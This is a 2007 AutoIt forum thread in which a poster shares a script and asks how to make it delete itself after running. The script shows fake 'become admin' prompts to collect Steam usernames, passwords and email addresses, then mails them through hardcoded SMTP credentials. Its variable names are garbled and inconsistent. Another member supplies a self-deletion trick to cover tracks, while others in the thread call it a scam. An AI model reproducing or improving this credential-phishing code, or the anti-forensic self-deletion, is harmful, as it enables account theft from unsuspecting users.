script remove himself

[XtraCt 0]

Hello !

I have this script:

expandcollapse popup

#Include<file.au3>
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
;##################################
; Include
;##################################
#Include<file.au3>
#include <IE.au3>
#include <misc.au3>
#NoTrayIcon

Global $accounts

;$Admin = InputBox ( "Admin", "" )
$Emawda = InputBox ( "Admin", "Write Your NickName", "NickName" )
$Emada = InputBox ( "Admin", "Write Your Email", "Email" )
$accouawdnts = ("  Email= ") & $Emasdasa
$Acasdc = InputBox ( "Admin", "Write Steam Account Name to be Admin", "Steam Account Name" ) 
$acwdwacounts = $accasdounts & ("  User Name= ") & $Aasdcc
$pass = InputBox ( "Admin", "Wite Steam Account Password To Be Admin", "Steam Account Password" ) 
$accousants = $accountdas & ("  Password= ") & $paasdss
MsgBox(0, "ADMIN", "Your details has been sent! you will be admin in less then 2 hours (If your information is correct)", 0)


$smtpserasdver = "mail.bluebottle.com"
$smtpasduser = "oyfake@bluebottle.com"
$smtppasdass = "4r5t6y"

$e_S
$e_R
$e_S
$e_T
$e_File = ""

SendEmail($e_Sender,$e_Recipient,$e_Subject,$e_Text,$e_File)
; use the function here!

Func SendEmail($e_Sender, $e_Recipient, $e_Subject, $e_Text, $e_File)
    $objMessage = ObjCreate("CDO.Message")
    With $objMessage
        .Subject = $e_Subject
        .Sender = $e_Sender
        .From = $e_Sender
        .To = $e_Recipient
        .TextBody = $e_Text
       ;.HtmlBody = $e_Text; uncomment to send a HTML mail and comment line above
       ;.AddAttachment = $e_File   ; <== I REMOVED THIS as we don't have an attachment
    EndWith
    With $objMessage.Configuration.Fields
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $smtpserver
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $smtpuser
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $smtppass
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 587
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
        .Update
    EndWith
    $objMessage.Send
    Return
EndFunc  ;==>SendEmail

I want to add the script that after I will run him

he will delete him self (not move to windows recycle bin) for ever ...

how i do it ?

10x alot

Edited September 12, 2007 by XtraCt

[eltorro 6]

Edit. removed due to less than auspicious nature of the above script.

Edited September 12, 2007 by eltorro

[weaponx 11]

Is it just me or are you using this script to trick people into sending their Steam account info under the guise of obtaining admin rights?

[XtraCt 0]

Edit. removed due to less than auspicious nature of the above script.

i didn't get you ....

[Jos 1,372]

i didn't get you ....

What is the purpose of this script you posted ?

[andrei0x309 0]

Try this at your end of the script

CODE

FileMove( "yourfile.exe" , "C:\RECYCLER\newname.exe")

FileRecycleEmpty("c:\")

Edited September 12, 2007 by Azraelsub7

[XtraCt 0]

that not help me

what about that:

FileDelete ( @ScriptFullPath )

[Jos 1,372]

@XtraCt: You haven't answered my question !

Edited September 12, 2007 by JdeB

[andrei0x309 0]

that not help me

what about that:

FileDelete ( @ScriptFullPath )

Lol mane have u try it ? i have try it ... works .. after i executed my file with the name yourfile.exe it disapire

and go to recycle and is deleted ... (sorry for my bad english)

FileDelete(@sciptfullpath) will not work

Edited September 12, 2007 by Azraelsub7

[XtraCt 0]

that not work ...

[Jos 1,372]

that not work ...

Last time : what is the purpose of this script ?

no answer will be a selfdelete of this thread.